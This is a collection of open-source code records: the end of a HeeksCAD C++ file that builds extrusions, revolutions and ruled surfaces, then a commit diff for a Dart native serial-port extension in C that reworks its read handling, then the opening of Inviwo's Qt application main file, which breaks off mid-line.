Ctt(e->GetMessageString()));\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(pipe_shapes.size() > 0)\r\n\t\t{\r\n\t\t\twxGetApp().CreateUndoPoint();\r\n\t\t\tfor(std::list<HeeksObj*>::iterator It = pipe_shapes.begin(); It != pipe_shapes.end(); It++)\r\n\t\t\t{\r\n\t\t\t\tHeeksObj* object = *It;\r\n\t\t\t\twxGetApp().Add(object, NULL);\r\n\t\t\t}\r\n\t\t\twxGetApp().Remove(profile);\r\n\t\t\twxGetApp().Changed();\r\n\t\t\treturn pipe_shapes.front();\r\n\t\t}\r\n\t}\r\n\r\n\treturn NULL;\r\n}\r\n\r\nHeeksObj* CreateRuledFromSketches(std::list<HeeksObj*> list, bool make_solid)\r\n{\r\n\tstd::list<TopoDS_Wire> wire_list;\r\n\tfor(std::list<HeeksObj *>::iterator It = list.begin(); It != list.end(); It++)\r\n\t{\r\n\t\tHeeksObj* object = *It;\r\n\t\tif(object->GetType() == SketchType)\r\n\t\t{\r\n\t\t\tstd::list<HeeksObj*> s;\r\n\t\t\ts.push_back(object);\r\n\t\t\tTopoDS_Wire wire;\r\n\t\t\tif(ConvertLineArcsToWire2(s, wire))\r\n\t\t\t{\r\n\t\t\t\twire_list.push_back(wire);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tTopoDS_Shape shape;\r\n\tif(CreateRuledSurface(wire_list, shape, make_solid))\r\n\t{\r\n\t\treturn CShape::MakeObject(shape, _(\"Ruled Surface\"), SOLID_TYPE_UNKNOWN, HeeksColor(51, 45, 51));\r\n\t}\r\n\treturn NULL;\r\n}\r\n\r\nstatic void on_extrude_to_solid(bool onoff, HeeksObj* object)\r\n{\r\n\twxGetApp().m_extrude_to_solid = onoff;\r\n\tHeeksConfig config;\r\n\tconfig.Write(_T(\"ExtrudeToSolid\"), wxGetApp().m_extrude_to_solid);\r\n}\r\n\r\nclass CExtrusionInput:public CLengthInput\r\n{\r\npublic:\r\n\tCExtrusionInput(double &value):CLengthInput(_(\"Input extrusion height\"), _(\"height\"), value){}\r\n\r\n\t\/\/ virtual functions for InputMode\r\n\tvoid GetProperties(std::list<Property *> *list)\r\n\t{\r\n\t\tCLengthInput::GetProperties(list);\r\n\t\tlist->push_back(new PropertyCheck(_(\"Extrude makes a solid\"), wxGetApp().m_extrude_to_solid, NULL, on_extrude_to_solid));\r\n\t}\r\n};\r\n\r\nbool InputExtrusionHeight(double &value)\r\n{\r\n\tCInputMode* save_mode = wxGetApp().input_mode_object;\r\n\tCExtrusionInput extrusion_input(value);\r\n\twxGetApp().SetInputMode(&extrusion_input);\r\n\r\n\twxGetApp().OnRun();\r\n\r\n\twxGetApp().SetInputMode(save_mode);\r\n\r\n\tif(CLengthInput::m_success)value = extrusion_input.m_value;\r\n\r\n\treturn CLengthInput::m_success;\r\n}\r\n\r\nvoid PickCreateExtrusion()\r\n{\r\n\tif(wxGetApp().m_marked_list->size() == 0)\r\n\t{\r\n\t\twxGetApp().PickObjects(_(\"pick sketches, faces or circles\"), MARKING_FILTER_CIRCLE | MARKING_FILTER_SKETCH | MARKING_FILTER_FACE);\r\n\t}\r\n\r\n\tdouble height = 10; \/\/ to do, this should get written to config file\r\n\r\n\r\n\tif(InputExtrusionHeight(height))\r\n\t{\r\n\t\tif(wxGetApp().m_marked_list->size() > 0)\r\n\t\t{\r\n\t\t\tCreateExtrusionOrRevolution(wxGetApp().m_marked_list->list(),height, wxGetApp().m_extrude_to_solid, false);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nclass CRevolutionInput:public CDoubleInput\r\n{\r\npublic:\r\n\tCRevolutionInput(double &value):CDoubleInput(_(\"Input revolution angle\"), _(\"angle\"), value){}\r\n\r\n\t\/\/ virtual functions for InputMode\r\n\tvoid GetProperties(std::list<Property *> *list)\r\n\t{\r\n\t\tCDoubleInput::GetProperties(list);\r\n\t\tlist->push_back(new PropertyCheck(_(\"Extrude makes a solid\"), wxGetApp().m_extrude_to_solid, NULL, on_extrude_to_solid));\r\n\t}\r\n};\r\n\r\nvoid PickCreateRevolution()\r\n{\r\n\tif(wxGetApp().m_marked_list->size() == 0)\r\n\t{\r\n\t\twxGetApp().PickObjects(_(\"pick sketches, faces or circles\"), MARKING_FILTER_CIRCLE | MARKING_FILTER_SKETCH | MARKING_FILTER_FACE);\r\n\t}\r\n\r\n\tdouble angle = 360.0; \/\/ to do, this should get written to config file\r\n\r\n\tif(wxGetApp().InputDouble(_(\"Input revolution angle\"), _(\"angle\"), angle))\r\n\t{\r\n\t\tif(wxGetApp().m_marked_list->size() > 0)\r\n\t\t{\r\n\t\t\tCreateExtrusionOrRevolution(wxGetApp().m_marked_list->list(), angle, true, true);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nbool CreateRuledSurface(const std::list<TopoDS_Wire> &wire_list, TopoDS_Shape& shape, bool make_solid)\r\n{\r\n\tif(wire_list.size() > 0)\r\n\t{\r\n\t\t\tBRepOffsetAPI_ThruSections generator( make_solid ? Standard_True : Standard_False, Standard_False );\r\n\t\t\tfor(std::list<TopoDS_Wire>::const_iterator It = wire_list.begin(); It != wire_list.end(); It++)\r\n\t\t\t{\r\n\t\t\t\tconst TopoDS_Wire &wire = *It;\r\n\t\t\t\tgenerator.AddWire(wire);\r\n\t\t\t}\r\n\r\n\t\ttry{\r\n\t\t\tgenerator.Build();\r\n\t\t\tshape = generator.Shape();\r\n\t\t}\r\n\t\tcatch (Standard_Failure) {\r\n\t\t\tHandle_Standard_Failure e = Standard_Failure::Caught();\r\n\t\t\twxMessageBox(wxString(_(\"Error making ruled solid\")) + _T(\": \") + Ctt(e->GetMessageString()));\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tcatch(...)\r\n\t\t{\r\n\t\t\twxMessageBox(_(\"Fatal error making ruled solid\"));\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nvoid CreateExtrusions(const std::list<TopoDS_Shape> &faces_or_wires, std::list<TopoDS_Shape>& new_shapes, const gp_Vec& extrude_vector)\r\n{\r\n\ttry{\r\n\t\tfor(std::list<TopoDS_Shape>::const_iterator It = faces_or_wires.begin(); It != faces_or_wires.end(); It++)\r\n\t\t{\r\n\t\t\tconst TopoDS_Shape& face_or_wire = *It;\r\n\t\t\tBRepPrimAPI_MakePrism generator( face_or_wire, extrude_vector );\r\n\t\t\tgenerator.Build();\r\n\t\t\tnew_shapes.push_back(generator.Shape());\r\n\t\t}\r\n\t}\r\n\tcatch (Standard_Failure) {\r\n\t\tHandle_Standard_Failure e = Standard_Failure::Caught();\r\n\t\twxMessageBox(wxString(_(\"Error making extruded solid\")) + _T(\": \") + Ctt(e->GetMessageString()));\r\n\t}\r\n\tcatch(...)\r\n\t{\r\n\t\twxMessageBox(_(\"Fatal error making extruded solid\"));\r\n\t}\r\n\r\n}\r\n\r\nvoid CreateRevolutions(const std::list<TopoDS_Shape> &faces_or_wires, std::list<TopoDS_Shape>& new_shapes, const gp_Ax1& axis, double angle)\r\n{\r\n\ttry{\r\n\t\tfor(std::list<TopoDS_Shape>::const_iterator It = faces_or_wires.begin(); It != faces_or_wires.end(); It++)\r\n\t\t{\r\n\t\t\tconst TopoDS_Shape& face_or_wire = *It;\r\n\t\t\tif(fabs(angle - 360.0) < 0.00001)\r\n\t\t\t{\r\n\t\t\t\tBRepPrimAPI_MakeRevol generator( face_or_wire, axis );\r\n\t\t\t\tgenerator.Build();\r\n\t\t\t\tnew_shapes.push_back(generator.Shape());\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tBRepPrimAPI_MakeRevol generator( face_or_wire, axis, angle * Pi\/180 );\r\n\t\t\t\tgenerator.Build();\r\n\t\t\t\tnew_shapes.push_back(generator.Shape());\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcatch (Standard_Failure) {\r\n\t\tHandle_Standard_Failure e = Standard_Failure::Caught();\r\n\t\twxMessageBox(wxString(_(\"Error making revolved solid\")) + _T(\": \") + Ctt(e->GetMessageString()));\r\n\t}\r\n\tcatch(...)\r\n\t{\r\n\t\twxMessageBox(_(\"Fatal error making revolved solid\"));\r\n\t}\r\n\r\n}\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Licence 2\n\n#include <cstring>\n#include <stdlib.h>\n#include <sstream>\n#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <termios.h>\n#include \"include\/dart_api.h\"\n#include \"include\/dart_native_api.h\"\n\n\nDart_Handle NewDartExceptionWithMessage(const char* library_url,\n                                        const char* exception_name,\n                                        const char* message);\n\/*\nCalled the first time a native function with a given name is called,\n to resolve the Dart name of the native function into a C function pointer.\n*\/\nDart_NativeFunction ResolveName(Dart_Handle name, int argc);\n\nDart_Handle HandleError(Dart_Handle handle);\n\n\nenum METHOD_CODE {\n  OPEN = 1,\n  CLOSE = 2,\n  READ = 3,\n  WRITE = 4\n};\n\nint selectBaudrate(int baudrate_speed){\n  switch(baudrate_speed){\n    \/\/ TODO baudrate 0 ? B0\n    case 50: return B50; break;\n    case 75: return B75; break;\n    case 110: return B110; break;\n    case 134: return B134; break;\n    case 150: return B150; break;\n    case 200: return B200; break;\n    case 300: return B300; break;\n    case 600: return B600; break;\n    case 1200: return B1200; break;\n    case 1800: return B1800; break;\n    case 2400: return B2400; break;\n    case 4800: return B4800; break;\n    case 9600: return B9600; break;\n    case 19200: return B19200; break;\n    case 38400: return B38400; break;\n    case 57600: return B57600; break;\n    case 115200: return B115200; break;\n    case 230400: return B230400; break;\n    #ifdef B460800\n    case 460800: return B460800;break;\n    #endif\n    #ifdef B500000\n    case 500000: return B500000; break;\n    #endif\n    #ifdef B576000\n    case 576000: return B576000; break;\n    #endif\n    #ifdef B921600\n    case 921600: return B921600; break;\n    #endif\n    #ifdef B1000000\n    case 1000000: return B1000000; break;\n    #endif\n    #ifdef B1152000\n    case 1152000: return B1152000; break;\n    #endif\n    #ifdef B1500000\n    case 1500000: return B1500000; break;\n    #endif\n    #ifdef B2000000\n    case 2000000: return B2000000; break;\n    #endif\n    #ifdef B2500000\n    case 2500000: return B2500000; break;\n    #endif\n    #ifdef B3000000\n    case 3000000: return B3000000; break;\n    #endif\n    #ifdef B3500000\n    case 3500000: return B3500000; break;\n    #endif\n    #ifdef B4000000\n    case 4000000: return B4000000; break;\n    #endif\n    #ifdef B7200\n    case 7200: return B7200; break;\n    #endif\n    #ifdef B14400\n    case 14400: return B14400; break;\n    #endif\n    #ifdef B28800\n    case 28800: return B28800; break;\n    #endif\n    #ifdef B76800\n    case 76800: return B76800; break;\n    #endif\n    default: return -1;\n  }\n}\n\nint selectDataBits(int dataBits) {\n  switch (dataBits) {\n    case 5: return CS5;\n    case 6: return CS6;\n    case 7: return CS7;\n    case 8: return CS8;\n    default: return -1;\n  }\n}\n\nint64_t openAsync(const char* portname, speed_t baudrate, int databits){\n  \/\/ Open serial port\n  struct termios tio;\n  memset(&tio, 0, sizeof(tio));\n  tio.c_iflag=0;\n  tio.c_oflag= IGNPAR;\n  tio.c_cflag= databits | CREAD | CLOCAL | HUPCL;\n  tio.c_lflag=0;\n  tio.c_cc[VMIN]=1;\n  tio.c_cc[VTIME]=0;\n\n  int tty_fd = open(portname, O_RDWR | O_NOCTTY | O_NONBLOCK);\n  if(tty_fd > 0) {\n    cfsetospeed(&tio, baudrate);\n    cfsetispeed(&tio, baudrate);\n    tcflush(tty_fd, TCIFLUSH);\n    tcsetattr(tty_fd, TCSANOW, &tio);\n  }\n  return tty_fd;\n}\n\nint closeAsync(int64_t tty_fd){\n  return close(tty_fd);\n}\n\nint sendAsync(int64_t tty_fd, const char* data){\n  return write(tty_fd, data, strlen(data));\n}\n\n\/\/ TODO maybe check type\n\/\/   result.type = Dart_CObject_kNull;\nvoid wrappedSerialPortServicePort(Dart_Port send_port_id, Dart_CObject* message){\n Dart_Port reply_port_id = message->value.as_array.values[0]->value.as_send_port;\n\n Dart_CObject result;\n result.type = Dart_CObject_kArray;\n result.value.as_array.length = 2;\n\n Dart_CObject* error_message = (Dart_CObject*) malloc(sizeof(Dart_CObject_kString));\n error_message->type = Dart_CObject_kString;\n error_message->value.as_string =  (char*) \"\";\n result.value.as_array.values[1] = error_message;\n\n Dart_CObject dart_null;\n dart_null.type = Dart_CObject_kNull;\n\n int argc = message->value.as_array.length - 1;\n Dart_CObject** argv = message->value.as_array.values + 1;\n int64_t method_code = (int) argv[0]->value.as_int64;\n argv++;\n argc--;\n \/\/ TODO return a array : [result, \"message\"]\n \/\/ TODO replace by switch\n \/\/ TODO check args nb\n \/\/ TODO method return a Dart_CObject result\n \/\/ TODO switch\n if(method_code == OPEN) {\n   \/\/Dart_CObject* param0 = message->value.as_array.values[0];\n   \/\/Dart_CObject* param1 = message->value.as_array.values[1];\n   const char* portname = argv[0]->value.as_string;\n   int64_t baudrate_speed = argv[1]->value.as_int64;\n   int64_t databits_nb = argv[2]->value.as_int64;\n   int baudrate = selectBaudrate(baudrate_speed);\n   int databits = selectDataBits(databits_nb);\n\n   if(baudrate == -1){\n     result.value.as_array.values[0] = &dart_null;\n     error_message->value.as_string = (char*) \"Invalid baudrate\";\n   } else if(databits == -1) {\n     result.value.as_array.values[0] = &dart_null;\n     error_message->value.as_string = (char*) \"Invalid databits\";\n   } else {\n     int64_t tty_fd = openAsync(portname, baudrate, databits);\n     if(tty_fd < 0){\n       \/\/ TODO errno\n       result.value.as_array.values[0] = &dart_null;\n       error_message->value.as_string = (char*) \"Invalid access\";\n     } else {\n       Dart_CObject dart_result;\n       dart_result.type = Dart_CObject_kInt64;\n       dart_result.value.as_int64 = tty_fd;\n       result.value.as_array.values[0] = &dart_result;\n     }\n\n   }\n  } else if(method_code == CLOSE) {\n   int64_t tty_fd = argv[0]->value.as_int64;\n\n   \/\/ TODO code close\n   closeAsync(tty_fd);\n\n   Dart_CObject dart_result;\n   dart_result.type = Dart_CObject_kBool;\n   dart_result.value.as_bool = true;\n   result.value.as_array.values[0] = &dart_result;\n\n  } else if(method_code == WRITE) {\n   int64_t tty_fd = argv[0]->value.as_int64;\n\n   \/\/ TODO int[]\n   const char* data = argv[1]->value.as_string;\n\n   int value = sendAsync(tty_fd, data);\n\n   Dart_CObject dart_result;\n   dart_result.type = Dart_CObject_kInt64;\n   dart_result.value.as_int64 = value;\n   result.value.as_array.values[0] = &dart_result;\n\n  } else if(method_code == READ) {\n   int64_t tty_fd = argv[0]->value.as_int64;\n   int buffer_size = (int) argv[1]->value.as_int64;\n   int8_t buffer[buffer_size];\n   fd_set readfs;\n   FD_ZERO(&readfs);\n   FD_SET(tty_fd, &readfs);\n   select(tty_fd+1, &readfs, NULL, NULL, NULL);\n   int n =  read(tty_fd, &buffer, sizeof(buffer));\n   if(n > 0){\n\n     Dart_CObject dart_result;\n     dart_result.type = Dart_CObject_kArray;\n     dart_result.value.as_array.length = n;\n\n     for(int i=0; i<n; i++){\n       \/\/ TODO without pointer ?\n       Dart_CObject* v = (Dart_CObject*) malloc(sizeof(Dart_CObject_kInt32));\n       v->type = Dart_CObject_kInt32;\n       v->value.as_int32 = buffer[i];\n       dart_result.value.as_array.values[i] = v;\n     }\n\n     result.value.as_array.values[0] = &dart_result;\n\n    } else {\n      result.type = Dart_CObject_kNull;\n    }\n  } else {\n    result.value.as_array.values[0] = &dart_null;\n    error_message->value.as_string = (char*) \"Unknow method\";\n  }\n  Dart_PostCObject(reply_port_id, &result);\n}\n\nvoid serialPortServicePort(Dart_NativeArguments arguments) {\n  Dart_EnterScope();\n  Dart_SetReturnValue(arguments, Dart_Null());\n  Dart_Port service_port = Dart_NewNativePort(\"SerialPortServicePort\", wrappedSerialPortServicePort, true);\n  if (service_port != ILLEGAL_PORT) {\n    Dart_Handle send_port = HandleError(Dart_NewSendPort(service_port));\n    Dart_SetReturnValue(arguments, send_port);\n  }\n  Dart_ExitScope();\n}\n\n\nDART_EXPORT Dart_Handle serial_port_Init(Dart_Handle parent_library) {\n  if (Dart_IsError(parent_library)) { return parent_library; }\n\n  Dart_Handle result_code = Dart_SetNativeResolver(parent_library, ResolveName);\n  if (Dart_IsError(result_code)) return result_code;\n\n\n  return Dart_Null();\n}\n\nDart_NativeFunction ResolveName(Dart_Handle name, int argc) {\n  \/\/ If we fail, we return NULL, and Dart throws an exception.\n  if (!Dart_IsString(name)) return NULL;\n  Dart_NativeFunction result = NULL;\n  Dart_EnterScope();\n  const char* cname;\n  HandleError(Dart_StringToCString(name, &cname));\n\n  if (strcmp(\"serialPortServicePort\", cname) == 0) result = serialPortServicePort;\n\n  Dart_ExitScope();\n  return result;\n}\n\nDart_Handle HandleError(Dart_Handle handle) {\n  if (Dart_IsError(handle)) Dart_PropagateError(handle);\n  return handle;\n}\n\nDart_Handle NewDartExceptionWithMessage(const char* library_url,\n                                        const char* exception_name,\n                                        const char* message) {\n  \/\/ Create a Dart Exception object with a message.\n  Dart_Handle type = Dart_GetType(Dart_LookupLibrary(\n      Dart_NewStringFromCString(library_url)),\n      Dart_NewStringFromCString(exception_name), 0, NULL);\n\n  if (Dart_IsError(type)) {\n    Dart_PropagateError(type);\n  }\n  if (message != NULL) {\n    Dart_Handle args[1];\n    args[0] = Dart_NewStringFromCString(message);\n    if (Dart_IsError(args[0])) {\n      Dart_PropagateError(args[0]);\n    }\n    return Dart_New(type, Dart_Null(), 1, args);\n  } else {\n    return Dart_New(type, Dart_Null(), 0, NULL);\n  }\n\n}\n<commit_msg>write<commit_after>\/\/ Licence 2\n\n#include <cstring>\n#include <stdlib.h>\n#include <sstream>\n#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <termios.h>\n#include \"include\/dart_api.h\"\n#include \"include\/dart_native_api.h\"\n\n\nDart_Handle NewDartExceptionWithMessage(const char* library_url,\n                                        const char* exception_name,\n                                        const char* message);\n\/*\nCalled the first time a native function with a given name is called,\n to resolve the Dart name of the native function into a C function pointer.\n*\/\nDart_NativeFunction ResolveName(Dart_Handle name, int argc);\n\nDart_Handle HandleError(Dart_Handle handle);\n\n\nenum METHOD_CODE {\n  OPEN = 1,\n  CLOSE = 2,\n  READ = 3,\n  WRITE = 4\n};\n\nint selectBaudrate(int baudrate_speed){\n  switch(baudrate_speed){\n    \/\/ TODO baudrate 0 ? B0\n    case 50: return B50; break;\n    case 75: return B75; break;\n    case 110: return B110; break;\n    case 134: return B134; break;\n    case 150: return B150; break;\n    case 200: return B200; break;\n    case 300: return B300; break;\n    case 600: return B600; break;\n    case 1200: return B1200; break;\n    case 1800: return B1800; break;\n    case 2400: return B2400; break;\n    case 4800: return B4800; break;\n    case 9600: return B9600; break;\n    case 19200: return B19200; break;\n    case 38400: return B38400; break;\n    case 57600: return B57600; break;\n    case 115200: return B115200; break;\n    case 230400: return B230400; break;\n    #ifdef B460800\n    case 460800: return B460800;break;\n    #endif\n    #ifdef B500000\n    case 500000: return B500000; break;\n    #endif\n    #ifdef B576000\n    case 576000: return B576000; break;\n    #endif\n    #ifdef B921600\n    case 921600: return B921600; break;\n    #endif\n    #ifdef B1000000\n    case 1000000: return B1000000; break;\n    #endif\n    #ifdef B1152000\n    case 1152000: return B1152000; break;\n    #endif\n    #ifdef B1500000\n    case 1500000: return B1500000; break;\n    #endif\n    #ifdef B2000000\n    case 2000000: return B2000000; break;\n    #endif\n    #ifdef B2500000\n    case 2500000: return B2500000; break;\n    #endif\n    #ifdef B3000000\n    case 3000000: return B3000000; break;\n    #endif\n    #ifdef B3500000\n    case 3500000: return B3500000; break;\n    #endif\n    #ifdef B4000000\n    case 4000000: return B4000000; break;\n    #endif\n    #ifdef B7200\n    case 7200: return B7200; break;\n    #endif\n    #ifdef B14400\n    case 14400: return B14400; break;\n    #endif\n    #ifdef B28800\n    case 28800: return B28800; break;\n    #endif\n    #ifdef B76800\n    case 76800: return B76800; break;\n    #endif\n    default: return -1;\n  }\n}\n\nint selectDataBits(int dataBits) {\n  switch (dataBits) {\n    case 5: return CS5;\n    case 6: return CS6;\n    case 7: return CS7;\n    case 8: return CS8;\n    default: return -1;\n  }\n}\n\nint64_t openAsync(const char* portname, speed_t baudrate, int databits){\n  \/\/ Open serial port\n  struct termios tio;\n  memset(&tio, 0, sizeof(tio));\n  tio.c_iflag=0;\n  tio.c_oflag= IGNPAR;\n  tio.c_cflag= databits | CREAD | CLOCAL | HUPCL;\n  tio.c_lflag=0;\n  tio.c_cc[VMIN]=1;\n  tio.c_cc[VTIME]=0;\n\n  int tty_fd = open(portname, O_RDWR | O_NOCTTY | O_NONBLOCK);\n  if(tty_fd > 0) {\n    cfsetospeed(&tio, baudrate);\n    cfsetispeed(&tio, baudrate);\n    tcflush(tty_fd, TCIFLUSH);\n    tcsetattr(tty_fd, TCSANOW, &tio);\n  }\n  return tty_fd;\n}\n\nint closeAsync(int64_t tty_fd){\n  return close(tty_fd);\n}\n\nint sendAsync(int64_t tty_fd, const char* data){\n  return write(tty_fd, data, strlen(data));\n}\n\n\/\/ TODO maybe check type\n\/\/   result.type = Dart_CObject_kNull;\nvoid wrappedSerialPortServicePort(Dart_Port send_port_id, Dart_CObject* message){\n Dart_Port reply_port_id = message->value.as_array.values[0]->value.as_send_port;\n\n Dart_CObject result;\n result.type = Dart_CObject_kArray;\n result.value.as_array.length = 2;\n\n Dart_CObject* error_message = (Dart_CObject*) malloc(sizeof(Dart_CObject_kString));\n error_message->type = Dart_CObject_kString;\n error_message->value.as_string =  (char*) \"\";\n result.value.as_array.values[1] = error_message;\n\n Dart_CObject dart_null;\n dart_null.type = Dart_CObject_kNull;\n\n int argc = message->value.as_array.length - 1;\n Dart_CObject** argv = message->value.as_array.values + 1;\n int64_t method_code = (int) argv[0]->value.as_int64;\n argv++;\n argc--;\n \/\/ TODO return a array : [result, \"message\"]\n \/\/ TODO replace by switch\n \/\/ TODO check args nb\n \/\/ TODO method return a Dart_CObject result\n \/\/ TODO switch\n if(method_code == OPEN) {\n   \/\/Dart_CObject* param0 = message->value.as_array.values[0];\n   \/\/Dart_CObject* param1 = message->value.as_array.values[1];\n   const char* portname = argv[0]->value.as_string;\n   int64_t baudrate_speed = argv[1]->value.as_int64;\n   int64_t databits_nb = argv[2]->value.as_int64;\n   int baudrate = selectBaudrate(baudrate_speed);\n   int databits = selectDataBits(databits_nb);\n\n   if(baudrate == -1){\n     result.value.as_array.values[0] = &dart_null;\n     error_message->value.as_string = (char*) \"Invalid baudrate\";\n   } else if(databits == -1) {\n     result.value.as_array.values[0] = &dart_null;\n     error_message->value.as_string = (char*) \"Invalid databits\";\n   } else {\n     int64_t tty_fd = openAsync(portname, baudrate, databits);\n     if(tty_fd < 0){\n       \/\/ TODO errno\n       result.value.as_array.values[0] = &dart_null;\n       error_message->value.as_string = (char*) \"Invalid access\";\n     } else {\n       Dart_CObject dart_result;\n       dart_result.type = Dart_CObject_kInt64;\n       dart_result.value.as_int64 = tty_fd;\n       result.value.as_array.values[0] = &dart_result;\n     }\n\n   }\n  } else if(method_code == CLOSE) {\n   int64_t tty_fd = argv[0]->value.as_int64;\n\n   \/\/ TODO code close\n   closeAsync(tty_fd);\n\n   Dart_CObject dart_result;\n   dart_result.type = Dart_CObject_kBool;\n   dart_result.value.as_bool = true;\n   result.value.as_array.values[0] = &dart_result;\n\n  } else if(method_code == WRITE) {\n   int64_t tty_fd = argv[0]->value.as_int64;\n\n   \/\/ TODO int[]\n   const char* data = argv[1]->value.as_string;\n\n   int value = sendAsync(tty_fd, data);\n\n   Dart_CObject dart_result;\n   dart_result.type = Dart_CObject_kInt64;\n   dart_result.value.as_int64 = value;\n   result.value.as_array.values[0] = &dart_result;\n\n  } else if(method_code == READ) {\n   int64_t tty_fd = argv[0]->value.as_int64;\n   int buffer_size = (int) argv[1]->value.as_int64;\n   int8_t buffer[buffer_size];\n   fd_set readfs;\n   FD_ZERO(&readfs);\n   FD_SET(tty_fd, &readfs);\n   select(tty_fd+1, &readfs, NULL, NULL, NULL);\n   int n =  read(tty_fd, &buffer, sizeof(buffer));\n   if(n > 0){\n\n     result.type = Dart_CObject_kArray;\n     result.value.as_array.length = n;\n\n     for(int i=0; i<n; i++){\n       Dart_CObject* byte = (Dart_CObject*) malloc(sizeof(Dart_CObject_kInt32));\n       byte->type = Dart_CObject_kInt32;\n       byte->value.as_int32 = buffer[i];\n       result.value.as_array.values[i] = byte;\n     }\n\n    } else {\n      result.type = Dart_CObject_kNull;\n    }\n  } else {\n    result.value.as_array.values[0] = &dart_null;\n    error_message->value.as_string = (char*) \"Unknow method\";\n  }\n  Dart_PostCObject(reply_port_id, &result);\n}\n\nvoid serialPortServicePort(Dart_NativeArguments arguments) {\n  Dart_EnterScope();\n  Dart_SetReturnValue(arguments, Dart_Null());\n  Dart_Port service_port = Dart_NewNativePort(\"SerialPortServicePort\", wrappedSerialPortServicePort, true);\n  if (service_port != ILLEGAL_PORT) {\n    Dart_Handle send_port = HandleError(Dart_NewSendPort(service_port));\n    Dart_SetReturnValue(arguments, send_port);\n  }\n  Dart_ExitScope();\n}\n\n\nDART_EXPORT Dart_Handle serial_port_Init(Dart_Handle parent_library) {\n  if (Dart_IsError(parent_library)) { return parent_library; }\n\n  Dart_Handle result_code = Dart_SetNativeResolver(parent_library, ResolveName);\n  if (Dart_IsError(result_code)) return result_code;\n\n\n  return Dart_Null();\n}\n\nDart_NativeFunction ResolveName(Dart_Handle name, int argc) {\n  \/\/ If we fail, we return NULL, and Dart throws an exception.\n  if (!Dart_IsString(name)) return NULL;\n  Dart_NativeFunction result = NULL;\n  Dart_EnterScope();\n  const char* cname;\n  HandleError(Dart_StringToCString(name, &cname));\n\n  if (strcmp(\"serialPortServicePort\", cname) == 0) result = serialPortServicePort;\n\n  Dart_ExitScope();\n  return result;\n}\n\nDart_Handle HandleError(Dart_Handle handle) {\n  if (Dart_IsError(handle)) Dart_PropagateError(handle);\n  return handle;\n}\n\nDart_Handle NewDartExceptionWithMessage(const char* library_url,\n                                        const char* exception_name,\n                                        const char* message) {\n  \/\/ Create a Dart Exception object with a message.\n  Dart_Handle type = Dart_GetType(Dart_LookupLibrary(\n      Dart_NewStringFromCString(library_url)),\n      Dart_NewStringFromCString(exception_name), 0, NULL);\n\n  if (Dart_IsError(type)) {\n    Dart_PropagateError(type);\n  }\n  if (message != NULL) {\n    Dart_Handle args[1];\n    args[0] = Dart_NewStringFromCString(message);\n    if (Dart_IsError(args[0])) {\n      Dart_PropagateError(args[0]);\n    }\n    return Dart_New(type, Dart_Null(), 1, args);\n  } else {\n    return Dart_New(type, Dart_Null(), 0, NULL);\n  }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2012-2015 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <warn\/push>\n#include <warn\/ignore\/all>\n#include <QFile>\n#include <warn\/pop>\n#include <inviwo\/qt\/widgets\/inviwoapplicationqt.h>\n#include <inviwo\/core\/common\/defaulttohighperformancegpu.h>\n#include <inviwo\/core\/util\/commandlineparser.h>\n#include <inviwo\/core\/util\/filesystem.h>\n#include <inviwo\/core\/util\/logcentral.h>\n#include <inviwo\/qt\/editor\/inviwomainwindow.h>\n#include \"inviwosplashscreen.h\"\n#include <moduleregistration.h>\n\nint main(int argc, char** argv) {\n    std::string basePath = inviwo::filesystem::findBasePath();\n\n    inviwo::LogCentral::init();\n    inviwo::LogCentral::getPtr()->registerLogger(new inviwo::FileLogger(basePath));\n    inviwo::InviwoApplicationQt inviwoApp(\"Inviwo v\" + IVW_VERSION, argc, argv);\n    inviwoApp.setWindowIcon(QIcon(\":\/icons\/inviwo_light.png\"));\n    inviwoApp.setAttribute(Qt::AA_NativeWindows);\n    QFile styleSheetFile(\":\/stylesheets\/inviwo.qss\");\n    styleSheetFile.open(QFile::ReadOnly);\n    QString styleSheet = QString::fromUtf8(styleSheetFile.readAll());\n    inviwoApp.setStyleSheet(styleSheet);\n    styleSheetFile.close();\n\n    auto& clp = inviwoApp.getCommandLineParser();\n\n    inviwo::InviwoMainWindow mainWin(&inviwoApp);\n    \/\/ setup core application\n    inviwoApp.setMainWindow(&mainWin);\n    \/\/ initialize and show splash screen\n    inviwo::InviwoSplashScreen 